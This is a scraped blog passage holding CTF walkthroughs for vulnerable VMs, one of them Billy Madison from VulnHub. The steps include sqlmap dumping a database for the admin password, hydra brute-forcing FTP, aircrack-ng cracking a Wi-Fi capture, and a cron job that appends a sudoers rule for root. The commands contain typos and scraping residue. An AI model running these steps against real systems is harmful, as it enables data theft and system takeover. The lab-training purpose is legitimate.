Through nikto we discovered two directories : /admin/ and /images/. OK! We made its mental note and decided to move forward with opening our target in browser.

Image may be NSFW.
Clik here to view.

Opening it on the browser we found that it was ecommerce site as hinted by the author. We checked every tab but found nothing except in the blog tab. 

Image may be NSFW.
Clik here to view.

In the blog tab, when you will hover your mouse arrow over the adminin the phrase ‘Hey Admin!’. It will change from arrow to a hand that indicates that means it will open as it a click on.

Image may be NSFW.
Clik here to view.

When you click on it, it will show a username of admin. Ok! I made a note of it. Let’s now check clothing tab.

Image may be NSFW.
Clik here to view.

There is nothing useful in this tab. As the author hinted that website is vulnerable towards SQL attacks so let’s try one. This time let’s try a different SQL attack using BurpSuite. Capture the cookies of the webpage through BurpSuite.

Image may be NSFW.
Clik here to view.

Copy the cooky string and paste it in a simple text file.

Image may be NSFW.
Clik here to view.

Then start the SQL attack by typing the following command in the terminal of Kali.
sqlmap –r /root/Desktop/sea.txt –dbs
Here,
/root/Desktop/sea.txt is the path of the text file in which we had saved t he cookies.

Image may be NSFW.
Clik here to view.

This command will give us the name of following database.

Image may be NSFW.
Clik here to view.

Out of these databases we will dump the tables of seattle with the following command :
sqlmap –r /root/Desktop/sea.txt –D seattle --tables

Image may be NSFW.
Clik here to view.

And with that we will have all the name of the tables as you can see in the following image.

Image may be NSFW.
Clik here to view.

Next we will dump the columns of the tables with the following command :
sqlmap –r /root/Desktop/sea.txt –D seattle –T tblMembers --columns

Image may be NSFW.
Clik here to view.

The execution of the above command will show the table names as following :

Image may be NSFW.
Clik here to view.

Now in the table names there is a table password. Now we already have the username of the admin and we just want the password. So now we will dump the contents of password table.
sqlmap –r /root/Desktop/sea.txt –D seattle –T tblmembers –C password --dump

Image may be NSFW.
Clik here to view.

And voila! We have the password i.e. Assasin1

Image may be NSFW.
Clik here to view.

Now in the browser, go to my account tab and there you will find a login portal. Give the username and password of the admin and click on Login.

Image may be NSFW.
Clik here to view.

And you will be logged in as the admin.

Image may be NSFW.
Clik here to view.

This CTF does contain any flag. All that required was to have admin access and yooohoooo!! We have that.
↧

Hack the Billy Madison VM (CTF Challenge)

November 28, 2016, 11:34 pm
$
0
0
Today in our CTF challenges we are going to do Billy Madison. This VM is based on 90’s movie Billy Madison, hence the name of the VM. The main aim of this VM is to figure out how Eric took over the machine and then undo his changes so you can recover Billy's 12th grade final project. You will probably need to root the VM to complete this objective. Without further ado let’s start.
Download the lab from: https://www.vulnhub.com/entry/billy-madison-11,161/

WalkThrough
Let’s locate our target

Image may be NSFW.
Clik here to view.


Our target is 192.168.1.103. Scan it with nmap.

nmap –p- -A 192.168.1.103

Image may be NSFW.
Clik here to view.

Okay! So from nmap we have discovered the port : 22, 23, 69, 80, 137, 138, 139, 445, 2525. So, I opened our target in the browser at port 69.

Image may be NSFW.
Clik here to view.



A Wordpress website opens. I explored this lot and tried to exploit it but it was useless. So I simply opened our target in the browser at its by-default port i.e. 80. The following page opens:

Image may be NSFW.
Clik here to view.

Then I explored smb port.
smbclient –L 192.168.0.103
When it asks for password then just hit enter without entering a password.


Image may be NSFW.
Clik here to view.

Here, I found an EricSecretStuff folder. Let’s see what it has to offer and for that type the combination of the following commands:
smbclient //192.168.0.103/EricSecretStuff
dir
get ebd.txt
exit
cat ebd.txt

Image may be NSFW.
Clik here to view.

It just told us that backdoor are currently closed. So then I traversed telnet.
telnet 192.168.0.103
Image may be NSFW.
Clik here to view.


There was a message in telnet telling us the password and that it has been encrypted with ROT13(hint: ROTten). Let’s decode it.

Image may be NSFW.
Clik here to view.

By decrypting it, it comes to be as exschmenuating. Now this could be a directory so I opened it in the browser

Image may be NSFW.
Clik here to view.


Now in the browser it opened a webpage which gave us few hints for moving forward. Through conclusion we now know that there is .cap file. And that it is saved with the name which includes ‘veronica’ and that name and be derived from rockyou.txt.
Now there are many names in rockyou.txt but we only need the ones with have veronica in it and for that use the following command:
grep –I veronica /usr/share/wordslists/rockyou.txt > /root/Desktop/dict.txt

Image may be NSFW.
Clik here to view.

Execution of the above command will create a text file with names veronica in it. Now use this text file and find the file which had veronica in it through DirBuster. And for this, open DirBuster and give the URL in the Target URL text box and then give the path of the text file you just created using grep command. Give the directory name in Dir to start with text boxand then give cap as the file extension.

Image may be NSFW.
Clik here to view.

As a result it will show you 012987veronica.cap file.

Image may be NSFW.
Clik here to view.

Open it in the browser. It will ask you to download it, go ahead with it.

Image may be NSFW.
Clik here to view.

Now check the TCP stream of every packet. In of it you will find an email sent from Eric to Veronica, telling her to download a certain antivirus.

Image may be NSFW.
Clik here to view.


In another TCP stream you will find that Veronica has replied to Eric, saying that to share the link through FTP server along with a youtube link.

Image may be NSFW.
Clik here to view.

Again in a TCP stream of a packet you will find that Eric has told her about his username and password

Image may be NSFW.
Clik here to view.


Ok! So we have eric’s username and password. Keep that with you for later use. Meanwhile, let’s check out the youtube link.

Image may be NSFW.
Clik here to view.

In the video it says the combination of some numbers. Now these numbers could be used for port knocking. So, let’s try it.
For x in 1466 67 1468 1514 1981 1986; do nmap –Pn –host_timeout 201 –max-retries 0 –p $x 192.168.0.103; done

Image may be NSFW.
Clik here to view.


Then to check I fired up the nmap again.
nmap –p- 192.168.0.103

Image may be NSFW.
Clik here to view.

And Voila!! FTP port opened on 21. Lets’ enter through it now as we have username and password. Remember The password and username for eric we discovered earlier.

ftp 192.168.0.103
Now let’s see the directories in it.
dir
There is a file named .notes. I decided to read it but before doing so I had to download it, therefore, type :
get .notes
exit

Image may be NSFW.
Clik here to view.

Now that notes file is downloaded, type the following command in the terminal of kali to read it:
cat .notes

Image may be NSFW.
Clik here to view.


There was a message in the notes by eric. Now if you remember the conversation of veronica and eric then you would know that there are two users on ftp server. second one is veronica. Naturally I decided to use hydra to apply the brute force attack on FTP to get the username and password using the same dictionary file which I had created with grep.

hydra –l veronica –p /root/Desktop/ver.txt ftp://192.168.0.103

Image may be NSFW.
Clik here to view.

And yes!! We have the password along with username i.e. veronica and babygirl_veronica07@yahoo.com respectively. Then I decided to explore more of FTP with veronica's username and password and I found two files there: one is of .cap and other .eml and downloaded then both and to achieve so type the combination of the following commands:

 ftp 192.168.0.103

dir

binary

get eg-01.cap

get email-from-billy.eml

Image may be NSFW.
Clik here to view.

Let’s read the email now.

Image may be NSFW.
Clik here to view.

In the mail he says how he hacks Eric’s wireless password. But if you observe everything you will find that he has used swaks to send this mail. Now swaks is a SMTP server that is a featureful, flexible, scriptable, transaction-oriented tool developed by John Jetmore. So, therefore I used the following command next:
swaks –to eric@madisonhotels.com–from vvaughn@polyfector.edu–server 192.168.0.104:2525 – body “My kid will be a soccer player”  --header “Subject: My kid will be soccer player”


Image may be NSFW.
Clik here to view.


Further I used aircrack-ng to monitor eg-01.cap to because the email that was sent through the swaks mentioned something about wifi password.
aircrack-ng /root/Desktop/eg-01.cap –w /usr/share/wordlists/rockyou.txt

Image may be NSFW.
Clik here to view.

And with aircrack-ng we found the password of wireless i.e. triscuit*. 

Image may be NSFW.
Clik here to view.

Now if you again scan it with nmap.
nmap –p- -A 192.168.0.103

Image may be NSFW.
Clik here to view.
As a result you can see that a new port opens i.e. 1974 with SSH service. Let’s try and log in with SSH.
ssh eric@192.168.0.103–p 1974
And then give the password triscuit*. Once I was logged in I checked it linux’s version with the following command but it was not exploitable.
lsb_release –a
Then typed following command to see what it has to offer :
ls
There I found a text file so I decided to read it.
cat why-1974.txt

Image may be NSFW.
Clik here to view.

Then type the following command:
find / -perm -2000 –types f 2>/dev/null

Image may be NSFW.
Clik here to view.


I was pretty lost here so decided to take some help from Mr. Goblin (https://g0blin.co.uk/billy-madison-1-vulnhub-writeup/) and so type the following set of commands:

touch /tmp/test

usr/local/share/sgml/donpcgd /tmp/test /etc/cron.hourly/test

echo –e ‘#!/bin/bash\necho “eric ALL=(ALL) NOPASSWORD:ALL” >> /etc/sudoers’ > 

/etc/cron.hourly/test

chmod +x /etc/cron.hourly/test

cat /etc/chron.hourly/test

Image may be NSFW.
Clik here to view.


This way you will escalate the privileges and reach root. Lets see what files root has:

ls

I decided to read /PRIVATE file.

cd /PRIVATE

ls

Here, I found a hint.txt and BowelMovement files. First I opened hint.txt.

cat hint.txt

In this file he is talking about the BowelMovement file and about its password which is the link 
given. So I copied the BowelMovement file.

cp BowelMovement /var/www/html

Image may be NSFW.
Clik here to view.

 And then I created a dictionary file using cewl and that link.

cewl –depth 0 https://en.wikipedia.org/wiki/Billy_Madison> /root/Desktop/billt.txt

Image may be NSFW.
Clik here to view.

By brute forcing you will find the correct password from this dictionary file. Using that password open the BowelMovement file that you have downloaded.

Image may be NSFW.
Clik here to view.


And then open the same in the terminal of kali and type :
ls
There is a file called secret.zip, unzip it.
unzip secret.zip

Image may be NSFW.
Clik here to view.

In the zipped folder there were two files. I decided to read them both.
cat THE-END.txt
cat Billy_Madison12th_Grade_Fimal_Project.doc

Image may be NSFW.
Clik here to view.

Finally! We have solved the CTF. Enjoy!
↧
Viewing all 1812 articles
Browse latest View live
Search
<script src="https://jsc.adskeeper.com/r/s/rssing.com.1596347.js" async> </script>